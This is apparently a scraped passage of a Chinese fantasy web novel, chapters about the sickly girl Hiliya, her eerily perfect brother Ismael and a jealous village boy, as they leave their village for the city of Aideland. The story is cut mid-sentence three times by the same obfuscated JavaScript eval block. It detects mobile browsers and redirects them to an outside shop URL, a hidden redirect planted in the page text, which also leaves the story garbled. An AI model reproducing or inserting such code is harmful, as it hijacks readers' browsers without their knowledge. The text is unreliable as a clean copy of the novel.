那是一种沉静而又智慧的气质,某种不必宣称的权柄,就好像他身后的夜空。 ——广袤、幽暗、深邃,蕴藏着无穷无尽的神秘与风暴。 伊斯梅尔。 希莉塔的、最好的哥哥。 在哥哥怀里,嗅闻着哥哥的味道,希莉塔忽然感到一阵委屈。 她抱住他的脖子:“你怎么才回来……” “遭遇了一点意外。” 伊斯梅尔看了一眼桌子上的晚餐,又扫了一眼衣橱顶部。 接着,他带着些许歉意地晃了晃手里的盒子。 “给希莉塔带了晚餐。” “我已经吃饱了……” 伊斯梅尔没说话,而是把妹妹牵回餐桌前坐下,又垂眸拆开盒子上的丝带。 熟悉的甜香浮现。 是水果派。 每次哥哥去镇子上,都会给她带回来的美味食物,加入了足量的蜂蜜和糖,内馅烤得香香软软的,外皮酥脆,是她吃过最好吃的食物,没有之一。 也是泽菲尔大人喜欢的食物。 她顿时感觉自己还能再吃一些! 这么想着,希莉塔放下羊奶,坐在哥哥身边,乖乖地等他拆丝线。 莱特抿唇看着这对兄妹。 “梅尔大哥终于舍得回来了啊。” 他的语调怪里怪气:“您在外面玩得很自在吧?逍遥的时间总是过得很快,回过神就天黑了,完全忘记了希莉塔——您的妹妹还在家里,正抱着小肚子可怜巴巴地等您呢。” 希莉塔呆呆地看着莱特,不明白他忽然怎么了。 像是这才发现屋子里还有另外一个生物一样。 伊斯梅尔看了他一眼。 但也仅仅只是一眼。 就好像看见了一个极其微末的生物、一只不必理会的蝼蚁,他移开目光,完美的面容上里没有任何情绪。 莱特也不说话了。 他目光阴沉地盯着他看。 伊斯梅尔。 希莉塔唯一的哥哥。 天底下最大一个贱货。 整天戴着冷脸面具,谁也瞧不起,私底下却连妹妹的贴身衣物都要抢去洗的十足的贱货。 谁知道他洗的时候会不会做些肮脏的事?莱特以己度人地恶意揣测着。 天底下,哪有哥哥会帮妹妹洗衣服,给她做饭、打扫卫生,教她读书写字、给她买漂亮的裙子帮她梳头发,整天抱着她、哄她睡觉,在她做噩梦的时候亲亲她的脸颊,叫她不要哭? 这明明都是丈夫的职责。 伊斯梅尔这个卑鄙的小偷。 ——这样的声音一千次一万次地出现在他的脑海。 理智告诉莱特,他要尽力讨好伊斯梅尔,获得他的认可,让希莉塔放心地嫁给他,脱离这个贱货的苦海。 但他却无法对他抱有一丝一毫温和的态度。 不仅仅因为怀疑唾弃和愤怒。 还有恨。 未知的、莫名的、来自灵魂深处,无法压制的恨。 从有记忆开始,对可爱的希莉塔无穷的爱,和对这个黑发贱人无休止的恨。 “……” 在沉默中,希莉塔吃起了水果派。 …… 好一会,莱特才重新开始说话。 “对不起,梅尔大哥,我刚刚只是太担心希莉塔了,你知道的,她的身体不好,而你又不能好好照顾她……” “哎,我只是心直口快,希莉塔知道的,像我这样的男孩,根本没有一点儿坏心眼。” 莱特一边说,一边解决希莉塔的剩菜,以免待会被伊斯梅尔这个贱货抢走。 莱特总是这样。 嘴巴咕噜咕噜的,总是没办法安静下来。 “下午和希莉塔胡闹了好一会,弄得希莉塔身上湿哒哒的,希莉塔都还没来得及洗澡呢,对不对?希莉塔。” 希莉塔已经习惯了,没太注意他在说什么,只下意识点点脑袋。 哥哥看了她一眼。 她感到一阵心虚,连忙低下头,不敢和莱特说话了。 “……” 干脆杀了他。 莱特冷冷地想:杀了他,杀了这个拦在他和希莉塔面前的家伙,把他的头砍下来,丢进最脏污的泥地里,让所有人都看见他凄惨的死状,再抱着伤心绝望的希莉塔好好地哄,让她知道她的哥哥只是一个废物,根本不值得她付出一丁点儿的难过。 只要希莉塔不知道…… 没有伊斯梅尔,他就是希莉塔最信赖的存在。 可是做不到。 没有完全足够的把握,他好像也……舍不得她这么伤心。 希莉塔…… 他看向她。 少女正小心翼翼地享用难得的甜品,她用勺子切碎派皮,然后一点一点放进嘴巴里,小口小口、满脸珍惜。 只是花费几枚银币购买小点心,就可以看见她这样幸福的表情。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261014|198027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好可爱、好划算,他明天也要给她买回来。 这么想着,莱特幸福地站了起来。 他要去给希莉塔家的小菜园浇水。 那些小蔬菜才种下不久,他要好好照料,让它们给希莉塔更多营养。 …… 要不要把偷偷工作、还有诅咒的事情告诉哥哥呢? 希莉塔有些犹豫。 哥哥一定会生气的。 虽然她觉得自己已经长大了,身体也好了许多,可以开始承担一些工作和家务,但哥哥并不这么认为。 吃过饭,他就连碗和勺子都不让她碰。 在这些事情上,哥哥总是有着超乎常理的坚持,怎么撒娇都是没用的。 就比如他坚持让希莉塔每天都洗澡,但又从来不许她去公共浴池。 小时候,哥哥在屋子里帮她洗澡,宁愿弄得水泱泱的,也不肯借用一下村子里的大澡堂。 长大后有了更多收入,哥哥就在家里单独造了一个浴室,又在里面镶嵌了好几颗保暖石。 保暖石…… 那可是魔法物品。 希莉塔很少去到村庄外面,不清楚保暖石的真正价格。 但她知道,关于魔法的一切都是很贵的。 除此之外,还有日常的开销。 她每天都能吃到肉,每个季节都能做新裙子,舒服柔软的布料塞满了衣橱,就连被子都软软的、不会把她的皮肤磨红。 这究竟要多少金币呢? 在从前,希莉塔心里只有功课和魔法,但是随着渐渐长大,她开始关注一些更务实的事情。 也开始为哥哥的钱袋感到焦虑。 她知道,家里根本没有这么多金币。 只是哥哥从来不为他自己着想。 从小到大,哥哥没有为他自己买过任何一件东西。 一件也没有。 哥哥难道就没有一点欲.望吗? 有的时候…… 希莉塔觉得她的哥哥不像是一个人类。 因为哥哥实在是太完美了,完美到没有一点点人类的气息。 别的家庭会有的争吵、误会、小矛盾,她也从来没有经历过。 哥哥不和她吵架,也从来不凶巴巴地和她说话。 希莉塔从来没有见过哥哥愤怒的样子。 不只是愤怒,悲伤、慌乱、惊喜、恐惧、迷茫……这些也全都没有过。 在她的记忆里,哥哥永远那样平静从容,不管她搞砸了多少事情、因为多么可笑的原因躲进他的怀里哭泣,他都会完全地宽容她,温柔地安抚她。 哥哥不会犯错,不会上当受骗,也从来没有出糗、窘迫的经历。 哥哥学什么都很快,就好像天生拥有掌握一切的本领。 哥哥从来没有受过伤,就连划伤手指和摔倒都没有…… “坐直一点,希莉塔。” 耳边传来哥哥的声音。 希莉塔下意识挺直脊背。 她已经洗好澡了,哥哥正在炉火旁给她梳头发。 哥哥的动作熟练、轻柔,身上也带着熟悉的、令人安心的味道。 嗅着嗅着,希莉塔觉得自己的骨头又软了下来。 她停止胡思乱想,情不自禁地往哥哥怀里靠。 被拦住了。 哥哥低头看着她。 “稍微忍耐一下。” 哥哥没有洗澡,还不可以抱抱。 希莉塔点点脑袋,忍不住催促哥哥,但哥哥的动作始终十分缓慢,就好像正在梳理的不是她的头发,而是世间最脆弱的珍宝。 直到每一缕发丝都被梳理柔顺,又抹上动物脂肪和薰衣草制成的发油之后,哥哥才起身前往浴室。 希莉塔趴在长椅上,身下是柔软的垫子,旁边是温暖的炉火,令她昏昏欲睡。 好困……好想睡觉,想和哥哥抱抱,想永远躲在他安全的怀抱。 也想快点长大,快点变得健康,帮上哥哥的忙。 像是担心她等久了,哥哥很快就走了出来。 他身上散发着清爽的皂角香,黑色短发已经变得干燥,不会朝她滴落烦人的水珠。 他身上是粗糙、廉价、毫无质感的衣服,甚至比不上替人驱车的马夫。 但希莉塔欢欣地抱住他,就像在迎接一个英雄。 “希莉塔。” 哥哥轻轻握住她的手,将她抱到床上。 他温柔地抚摸她的额头,轻轻地问:“今天的功课完成了吗?” “……” 像是被忽然敲了脑袋的乌龟一样。 希莉塔藏进被子里。 “没关系。” 哥哥替她掖好被子,走到火炉旁,为她准备明天早起的热汤。 “要搬家了,不会罚你。只要把风元素理论第三页背下来就好。” 希莉塔头脑混乱地听着哥哥的话,好一会,才探出脑袋,慢吞吞地问:“搬家?” “是的,希莉塔。” 黑发少年往火炉里添了些柴火,夹着木柴翻滚,完美的面容在火光中明灭。 “在回家的路上,我遇见几个异乡人,他们自称玩家,认为世界只是一个虚构的游戏。” “在他们的脑子里,我看见了自己身为勇者的身份,回忆起了自己的使命、仇恨,和责任。这稍微有一点趣味,但更多的是麻烦。” “艾德兰的考试将在两个月之后开始,希莉塔,为了我们平静的生活,哥哥会带你搬家。” 4. 第 4 章 村庄的夜晚十分安静,连小鸟都已经休息。 希莉塔翻过身,侧着脸,呆呆地看着面前的床帐。 艾德兰尼亚,人类的圣城,一切的中心,所有人类的理想家园。 在那里学习魔法,是她一直以来的梦想。 但她从来没想过会这么快实现。 对她来说,艾德兰是个遥不可及的、高高立在云端的神圣之地,而她的魔法水平…… “我、我肯定不能通过考试的,哥哥。”她是一个非常有自知之明的孩子。 “没关系,希莉塔。” 哥哥说:“我们会定居在那里。” 定居…… 希莉塔懵懵的,又想起哥哥说的异乡人、游戏、玩家勇者之类的话…… 她没有办法立刻全部理解,只能下意识去捕捉最刺耳的那个词汇。 仇恨。 这是希莉塔第一次在现实中听见这个词汇。 一个总是意味着鲜血、黑暗,和死亡的词汇。 她和哥哥的生活,有哪一件事是可以称作仇恨的呢? “哥哥……” 希莉塔抬起手指,慢吞吞地抚摸面前的枕头,犹豫了好一会,才小小声地问: “仇恨……是关于爸爸妈妈的吗?” 她从来没有见过爸爸妈妈。 第一次睁开眼,看清楚的是哥哥的脸;抱起她、养育她长大的是哥哥的双手;带给她幸福、欢乐,让她安心的,是哥哥的爱。 在小时候,每一次看见哥哥忙前忙后、像是小陀螺一样到处跑的时候,希莉塔总会幻想自己也有爸爸妈妈。 他们会带着笑容和拥抱回家,带来鼓励又或者是教训,然后对哥哥说:辛苦了,你休息吧。 于是哥哥就会和她一样、和周围的孩子一样,拥有一起玩耍胡闹的时间。 随着长大,她渐渐不再去幻想那些了。 哥哥的爱已经足够将她填满。 她也从来没有问过哥哥关于父母的事情。 她知道,在她出生之前,哥哥也是一个有家长照顾的、快乐的小朋友。 那是她无法触及的时光。 “是的,希莉塔,他们死得很早。” 哥哥的声音传进耳朵,依旧那样平静,就好像在说一件无关紧要的小事。 “不必在意他们,希莉塔。你是从哥哥身体里出生的。” “……” 什么意思? 床帐里面黑黑的。 希莉塔忽然感觉有些不安,她害怕又一次听见那些低语。 她走下床,慢吞吞躲进哥哥怀里。 “当时……” 哥哥给她裹上一件旧羊毛披肩,将她纤细的胳膊全都拢进怀里,语气轻轻的,慢慢的,像是在回忆一件温馨而又美妙的事情。 “因为无法接受你的死亡,哥哥寻求了精灵的帮助,把你放进了我的身体里。” 说到这里,伊斯梅尔笑了一下。 他是不经常笑的。 黑色的头发,极其白皙的肌肤,火光下极其短暂的一瞬的笑容。 他的言语又给这个笑容带来了许多不同以往的气息。希莉塔呆呆地看着哥哥,感到一阵头晕目眩。 “希莉塔,你在哥哥身体里的时候很聪明、很乖。你好像特别喜欢那里,睡了很久才醒过来。” “可惜哥哥不能分泌奶.水,你经常哭着找哥哥要吃的。精灵说那是另外的价钱,那时候哥哥刚来这里,没有金币。” 希莉塔呆呆地听着这些话。 无法接受她的死亡…… 原来……她死过一次吗? 在小时候,很多很多时候,希莉塔觉得不公平。为什么别人可以拥有健康强壮的身体,为什么他们可以痛快地玩耍、到处奔跑,而自己只能坐在小溪旁、坐在柳树底下,永永远远地坐在那里,就连晒一晒太阳,都会被担心晕倒。 她多想变得和别人一样健康,和他们一起欢快地扑蝴蝶、捉蜜蜂,近近地闻见花香。 可是…… 可是原来,她是已经死过一次的孩子。 是出生之前就已经死去的人。 不被允许来到这个世界的人。 原来是这样…… 如果是这样,她想,那又有什么不公平的呢? 她才是那个逃避了规则的孩子,是躲避了死神镰刀的孩子,这样的话,还能够活着就已经足够庆幸了,不是吗? 此时此刻,希莉塔只觉得一直困扰着自己的问题终于得到了答案,她感到十分平静、满足,她确信自己再也不会偷偷埋怨自己孱弱的身体了,可是为什么……为什么她一直在哭? 是因为贪婪吗?因为希莉塔是个贪婪的孩子,得到了这样的答案之后,她还是想要变得健康,还是想要变得强大,还是想要继续活下去、一直一直……永永远远地活下去…… “吓坏了吗?希莉塔。” 耳边传来哥哥的声音。 “不会让你再死一次了。” 他说,“哥哥多想把你重新装进身体里,可惜舍不得你再死一次了。别害怕,希莉塔……张开嘴巴,让哥哥帮你的忙。” …… 新鲜的氧气不断涌入身体。 她感到平静、温暖、安宁,就好像回到了暌违已久的母体。 对哥哥的爱充满了大脑、充满了她的整个身体。 她爱哥哥。 因为哥哥带来氧气,安抚了她岌岌可危的生命。 她爱哥哥。 …… “对不起,希莉塔。” 回过神,听见哥哥叹息着道歉。 “没有给你一个完整幸福的家庭,是哥哥的错。希莉塔很想要爸爸妈妈吗?” 他的语气就好像如果她说想要,他明天就可以变出这两个人一样。 希莉塔摇摇脑袋。 她不是一个机敏的孩子,受到惊吓之后,常常说不出来话,思绪也变得慢吞吞的,只能抬起脸,亲昵地去蹭哥哥的脸颊。 她用这样的方式来表达自己的心情。 “别担心,希莉塔。” 哥哥帮她擦眼泪,又一点一点抚摸她的长发。 “即使没有那两个人类,希莉塔也和其他人一样,是勇敢聪明的、带着爱和期待降临的孩子。” “嗯……” 希莉塔把脸埋进哥哥的胸口,侧耳听哥哥的心跳。 听……有心跳呢。 哥哥是人类,她再一次、又一次地确认这一点。 她清楚人类的繁衍方式。 但这个世界上,还有着许多不同的种族。 精灵是从树上出生的,有些兽人和龙会从大大的蛋壳里钻出来。 还有恶魔,那种生活在地表之下的生物,听说他们生育的方式是自己生下自己…… 所以,得到了精灵帮助的哥哥,把希莉塔养在身体里面,也完全、完全……完全不是什么怪异的事情。 她不断安慰着自己,告诉自己要快点把今天的事情忘掉,最好永远也不要记起来。 “下床要记得穿鞋,希莉塔。” 哥哥轻轻攥着她的脚踝,用柔软的湿布帮她擦拭脚底的灰尘。 “该睡觉了。” 她被抱起来。 伊斯梅尔对燃烧着的柴火使用了稳定魔法,杜绝了失火的风险,才抱着妹妹走向床铺。 要是还能思考,希莉塔肯定会觉得这样很浪费。 她会对哥哥说把火熄灭也没关系,她已经长大了,不再是那个不肯睡觉的小不点了。 但她现在只是把脸藏进哥哥胸口,让自己放空大脑,除了哥哥,什么都不去想。 喜欢哥哥,她想,只要哥哥还在她的身边,只要她还活着,其他什么都无所谓。 只要她还拥有生命,其他全部都无所谓。 …… 在哥哥怀里,她总能睡得很好。 第二天的早餐是柔软的白面包、甜羊奶,和豌豆浓汤。 希莉塔想着搬家的事情,心不在焉地敷衍食物,把汤舀起来又放下,慢吞吞的,好半天都喝不完一口汤。 哥哥无声地看过来。 她缩了缩脖子,立刻乖乖埋头吃饭。 很快,她填饱了肚子。伊斯梅尔解决了她的剩菜,又就着白水啃了几个干硬的黑面包。 他开始收拾东西。 希莉塔呆呆地看着哥哥。 哥哥……有一张总是令人失神的脸,手指又白又长,动作优雅,像是书里矜贵的贵族,哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261015|198027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕只是在叠衣服,都显得十分赏心悦目。 尽管这是他们第一次搬家,但哥哥没有表现出一点生疏的样子,迅速地将物品分类整理,漂漂亮亮地装进行囊里面。 不管是行李还是家里,始终都保持着整洁和干净。 就好像他天生就会做这些家务。 哥哥什么都会做,什么都做得很完美。 或许因为哥哥是勇者。 希莉塔想到了昨天哥哥的话。 异乡人、玩家、游戏…… 她不太明白其中的含义,也不想费脑筋去探究,她只要知道哥哥是勇者就已经足够了。 勇者就是什么都会的,这一点都不奇怪。 在她看过的那些冒险故事里面,勇者也总是这样无所不能,他们会战胜所有艰险阻碍,达成自己的理想。 因为他们是神明的化身。 可是、可是如果那样的话,希莉塔是什么呢? “希莉塔。” 哥哥看了她一眼:“要认真。” “哦……” 哥哥负责收拾东西,希莉塔的任务是坐在床上看书。 《风元素第一章·写给婴儿》 尽管这是希莉塔最爱的书籍,尽管从六岁起,她就已经在和这本书打交道了。 但她和它还是一点儿也不熟悉。 她只感觉书里的一切仿佛都蕴含着无穷奥义,叫她只是稍微看上一会,就会感到头晕。 哥哥会帮助她理解,但她得先把这些叽里咕噜的神秘文字背诵下来,记住它们的模样。 这不是一件轻松的事。 昨天哭过好几次,她累坏了,现在只背了几个字就感觉脑袋晕晕的,忍不住停下来休息。 靠着床帐,小口小口喘气,脸颊红红的,像是被魔法书欺负了一样。 休息了好一会,抬起头,发现哥哥正无声地看着她。 不知道已经看了多久。 她心头一跳,连忙把书本翻到最前面,装作十分认真学习的样子。 其实这里什么知识都没有。 只有作者亲自写的序言。 泽菲尔·埃尔菲斯。 世界上最强大的魔法师、精灵族的骄傲。他的名字会出现在每一本魔法书的扉页,现代所有魔法师都行走在他铺设的道路上。 [翻开这本书的每一个生物,祝你们头脑健全。 这是一本浅显的、无聊的、侮辱魔法的书。 但他们说,我得为孩子着想。 我真的不知道哪个种族的孩子会这么蠢。 总之,这里有一些风魔法基础理论。非常基础。 还没有达到足够的字数? …… 我喜欢吃水果派。] 虽然、虽然脾气好像有点坏。 但是……但是泽菲尔大人是精灵,永生不死的精灵。 写下这本书的时候,他才16岁,对于精灵族来说,这还是一个属于幼童的年纪呢。 现在,这么多年过去,泽菲尔大人一定成熟了许多。 等她去到艾德兰的时候,说不定就可以遇见一个风度翩翩的泽菲尔教授了! 想到这里,希莉塔就忍不住一阵激动。 泽菲尔大人现在就在艾德兰任教。 如果运气好的话,如果她能顺利通过考试的话…… 说不定,她真的可以远远地看上他一眼。 哪怕只是很远很远的一眼…… 嗯,像泽菲尔大人这样的大人物,一定被供奉在贤者殿堂里,她不可以当一个贪心的孩子。 所以看不见也没关系。 在艾德兰,在那样繁华、伟大、充满了荣耀与史诗的城市,沐浴着泽菲尔大人的气息…… 她一定能把魔法学得更快、更好。 好幸福。 希莉塔抱紧自己的魔法书。 既然知道自己曾经已经死去,那么未来的每一天、现在所经历的每分每秒,都是意外的惊喜,都变得更加珍贵了,不是吗? 她用脸颊贴着魔法书,感受着封面上雕刻的文字,轻轻地露出一个笑。 虽然有些惊吓,有些意外,有些波折。 但生活总是充满期待。 她还活着,这真好。 5. 第 5 章 希莉塔不想不告而别。 可是她没有体力去挨个道别她的朋友。 她有很多朋友。 虽然她不会和大家一起种地干活,也不会和他们一起玩耍游泳,但她家里总是有书本和笔,她还愿意和大家一起读书,教大家认字、算数。 甚至就连魔法书,她也愿意让他们一起看,不收取一分钱的礼物。 村庄里的孩子们都很喜欢她,哪怕她有一个很可怕的冰块脸哥哥,和一个吃了苍蝇的莱特。 “希莉塔。” 知道她要搬家,大家你通知我、我通知你、很快就聚了过来。 顾忌到她哥哥在家,大家都不怎么敢说话,男孩们甚至不敢进门,只敢远远看她几眼,女孩们稍微好一些,她们不怕挨莱特的揍。 她们挤在一起,又不敢靠她太近,只把准备的礼物送给她。 一条披肩,一条很大的披肩,几乎可以把她一整只罩起来。 由一块块颜色不同的柔软布料拼缀而成,从远处看,就像是打满了补丁。 漂亮的补丁。 这本来会是她今年的生日礼物。 女孩们整天忙着农活和家务,要找来这么多柔软、颜色鲜艳的布料,把它们拼起来,做成一条这么大的披肩,究竟要付出多少铜币和精力呢? 想着她们在夜晚的火光下悄悄缝纫的样子,希莉塔很受触动,哭得伤心极了。她一哭,好几个年纪小的女孩也跟着抽泣起来。 “都不许哭。” 丽芙说,她聪明、强势,一向是村子里的大姐头。 “希莉塔要去的是艾德兰,她要去实现自己的梦想,那是值得高兴的事,不许哭。” 希莉塔轻轻地抱住她。 丽芙一愣,脸颊立刻变得红通通的,又不敢伸手回抱她,甚至不敢抬手给她擦眼泪。 她的手上都是茧,会把希莉塔磨疼的。 朋友们给了希莉塔很多祝福。 健康、快乐、幸福、幸运、有花不完的金币、成为最厉害的魔法师、越来越好的身体…… 直到中午,大家才依依不舍地回家。她们需要吃饭,下午还有很多事情要忙碌。 希莉塔倚着门,久久地看着朋友们的背影,中午阳光强烈,照得她额头发烫。 她把家里的通识书籍和墨水留给了她们,约定好在她走后,大家还要继续学习、继续识字,等她安定下来就给她们写信,保持联络。 “希莉塔。” 哥哥把她叫回屋子里,用温热的湿毛巾擦拭她的脸颊。 希莉塔仰着脸配合。 “哥哥。” 她坦白了昨天悄悄打工的事,又把莱特的话告诉了哥哥。 牧师大人很可能是潜藏的黑暗眷属,村子里的大家都很危险。 还有地精,这么多地精忽然出现,一定会袭击村庄的…… 她不想在朋友们陷入危险的时候离开。 哥哥平静地听完了她的话。 “他在骗你。” “……?” 希莉塔没有反应过来。 她的眼睛和鼻尖都哭得红红的,仰头看着哥哥,乌发垂散,显得委屈极了。 伊斯梅尔垂着眸,用手指轻轻按压她的眼尾。 “我本来不想问的,希莉塔。” “他哄骗你做了什么,让你变得湿哒哒的?” “……” 哥哥的语气十分平和,但希莉塔却感到一阵强烈的羞耻。 她终于反应过来了,顿时又羞又气。 气的是莱特竟然敢骗她,羞的是她竟然一点儿也没发现,还跑来这么认真地和哥哥说这些话…… 坏家伙、坏死了……为什么要说这种谎,显得她好笨呢! 混蛋莱特,天底下最坏的家伙。 她彻彻底底讨厌他,再也不要理他了…… 希莉塔哭着立下了这样的决心,在哥哥怀里躲了好久才平复下来。 听见哥哥要去铁匠铺结账,她犹豫了一会,还是气鼓鼓地跟了过去。 混蛋莱特。 明明每天都会过来找她的,可是今天竟然没有准时出现,坏上加坏,简直是坏透了。 她还没有想好待会要怎么生气,就走到了铁匠铺。 莱特不在家里。 这里只有利恩爷爷。 这是一个年近六十的小老头子,村子里唯一的老铁匠,独来独往、性格古怪,总是骂骂咧咧地跟人吵架。 莱特嘴巴里那些脏话就是跟他学来的。 但对孩子们,他总是十分友善。 “噢,梅尔,是什么风把你吹来了……还有小希莉塔!” 利恩爷爷连忙招呼他们坐下,先给他们倒了点温水,又跑到橱柜那边翻翻找找。 “来找莱特吗?那小子天不亮就去了镇上,说是要给小希莉塔去买什么水果派。” …… 哼。 这家伙肯定知道他的谎言马上就会被哥哥拆穿,所以才会急匆匆地去买道歉礼物。 希莉塔才不会这么轻易地原谅他。 她鼓起脸,在心里想着这次要生气久一点,不管莱特怎么认错都不原谅,直到他急得哭出来为止,好叫他以后再也不敢对她说谎。 “你们来得正好。” 利恩爷爷端着一些东西回来。 希莉塔低头看,是葡萄酒炖肉、鸡蛋,和有些沉淀的牛奶。 这是昨天晚上莱特做的菜,两个人吃不完,希莉塔让他带了一半回家,和利恩爷爷分享。 爷爷大约舍不得吃,留到现在,又端给了他们。 他还拿来了几颗快要失去水分的苹果,表皮有些皱起来了,但依旧很大、很漂亮。 这些东西摆在一杯温水旁边。 村子里的人是不喝水的,他们只喝酒。酒比生水干净、方便储存,就连孩子们也都喝浓度很低的小啤酒。 谁会有这么多柴火源源不断地烧热水呢? 但自从她来了之后,铁匠铺就真的有了源源不断的热水,送给小希莉塔。 看着桌子上的一切,希莉塔忽然一点也不想生气了。 “我们是来结账的。” 伊斯梅尔在桌子上放了两枚金币。 “结账……?” 利恩爷爷愣了一下。 “噢,梅尔,你竟然还记得那些柴火钱?你这个没心肝的小东西!快拿走快拿走,你和希莉塔就像是我的孩子一样,我怎么会收你们的钱?要不是当初你不同意,我真该……” “希莉塔不是你的孩子。” 伊斯梅尔打断了他的话。 “我们要搬家了。” 好凶…… 希莉塔忍不住抬起头,有些困惑地看向哥哥。 她几乎没有见过哥哥和别人交流的样子。 对待别人,哥哥一直都这么凶吗?好像和平时的哥哥有些不一样…… “搬家?要搬到大一点的屋子里去吗?” “是搬去别的地方。” 在妹妹的注视下,伊斯梅尔的语气变得耐心温和了一些。 “希莉塔需要一个好学校,我也需要一份收入更多的工作。” “噢……” 利恩爷爷沉默了几秒。 “希莉塔是个聪明的好孩子,梅尔也是,和莱特一样,我当初一见到你们,就知道你们一定会有出息……” 他的声音变小了一些:“这真值得高兴……” “你们,打算什么时候出发?需要帮忙吗?” “马上就走。” “这么快?!” 伊斯梅尔没说话。 “不等莱特回来吗……梅尔,你知道,那小子一定会跟你们一起,他……” 伊斯梅尔站了起来。 “……” “炖肉也不吃了吗?” 利恩爷爷一向爽朗的语气里染上了一些别的色彩,像是一个絮絮叨叨的、孤独的老人。 “这可是新鲜的野猪肉,只有光明节才能吃到,对身体很好……” …… 走出铁匠铺没多久,利恩爷爷气喘吁吁地追了上来。 他递给希莉塔一袋钱币,又递给伊斯梅尔一柄剑。 “至少告诉我这个老头子你们要去哪,孩子们,外面可不太平……希莉塔,你知道的,不管你去哪儿,莱特那小子都会跟着你。他力气大,又机灵,肯定能帮上你的忙……” “嗯。” 希莉塔乖乖地说:“爷爷,我们要去艾德兰,如果莱特回来了,请您告诉他。” “好、好。” 利恩爷爷看了他们一会,张开嘴巴,却没有说出来什么别的话。 “都会好起来的。”他说,“平平安安的。” 说完,他挥了挥手,转身往回走。 铁匠铺吹过来的风热热的,让脸颊变得十分干燥。 走出去好一会,希莉塔回过头,看见利恩爷爷的背影。 爷爷正弯着腰,不断用麻巾擦脸,像是流了很多很多的汗。 她又低下头,看着怀里的钱袋。 匆匆忙忙,钱袋的口子没有扎紧,露出顶部的几枚金币。 这不知道是一个铁匠多少年攒下的积蓄。 她感觉眼睛酸酸的,有点痛,像是有很多眼泪要掉下来。 “别难过,希莉塔。” 哥哥牵起她的手。 “这个世界很大,你会看见更美的风景,遇见更多朋友。” 希莉塔:“那我们什么时候能回来?” 哥哥没说话。 他只是拿走她怀里沉重的钱袋,又垂下眸,检查她的手指有没有被压红。 他的神色还和平时一样平静,但却透露出一种无端的厌烦。 希莉塔认为哥哥在为了离别而难过。 他一定也很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261016|198027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舍不得大家呢。 “哥哥。” 她抱住哥哥,认真地说:“哥哥不难过,不管去哪里,希莉塔都一直和哥哥在一起,我们永远都不分开。” 哥哥垂眸看着她,好一会,抬起手轻轻抚摸她的头发。 “希莉塔。” …… 吃过午饭,哥哥清理了村子周围的地精,又去确认过牧师的情况。 确定一切都好,希莉塔才放心出发。 哥哥没有买到马车,也不愿意借用别人的骡子和驴。 他上山给她捉来一只野鹿。 一只超级大、几乎和她一样高,需要哥哥抱着她,她才能爬上去的野鹿。 简直比骑马还要威风! 不知道哥哥怎么做到的,竟然能让野鹿乖乖听话,即便没有类似马鞍的东西,希莉塔侧着坐在上面,竟然也一点都不打滑。 她觉得这完全就是她幻想中的冒险生涯。 骑着大鹿的勇敢的希莉塔,和哥哥一起消灭世间一切的邪恶和黑魔法…… 路上颠簸了一下,希莉塔吓得连忙抱紧它。 “抓着它的角,希莉塔。” 哥哥让野鹿停了下来,打湿毛巾给她擦脸,又叫她张开嘴巴,让他检查里面有没有混进去野鹿的毛发。 检查了好一会,哥哥才放过她。 “它会弄脏你的脸,希莉塔。” 哥哥擦拭手指,说:“不可以抱它。” “哦……” 哥哥刚刚不是才对它使用了好几次清洁术吗? “会不会把它抓疼,哥哥?” “它会被你抓得很舒服。” “……” 真的吗? 希莉塔试探地碰了碰鹿角,鹿角上生长着一层绒毛,手感意外地很不错。 野鹿抖了抖,炫耀般轻轻摇晃自己的鹿角,嘴里也发出兴奋的叫声,看起来十分高兴,脑袋往后仰,像是在催促她多摸几下。 好亲人呀…… 希莉塔又摸摸它的脑袋,听见它舒服的小声的叫。 她竟然觉得它像是一只小狗。 “哥哥,我们给它取一个名字吧?” “它不能加入我们的家庭,希莉塔,你会有更舒适的马车。” “……哦。” 哥哥说得对,小鹿只是临时来帮帮忙,它还要回到山野间,回到它的家人和朋友身边呢。 希莉塔不可以因为喜欢它,就强行把它留下。 “那它可以找得到回家的路吗?” “当然。” 平原上的下午,阳光明媚,青草盈盈,野花顺着风儿摇曳,空气里满是青草和花香。 是漂亮的春天。 希莉塔已经很久没有出过村子了,她兴奋得心脏砰砰直跳,看见什么都很好奇,脑袋里充满了各种各样的问题。 哥哥牵着鹿走在她的身边,温柔耐心地回应她的每一句话。 为了保护她的嗓子,哥哥一直哄她喝水。 结果就是她的肚皮喝得鼓鼓的,又还没有做好在野外解决的心理准备,没一会就把脸憋红了。 “哥哥……”她求助地看向哥哥。 哥哥把她抱下来,找到一个很偏僻的地方,让她提好自己的裙摆。 他手里拿着一件浅绿色的束腰,上面散发着萤火一样的漂亮微光。 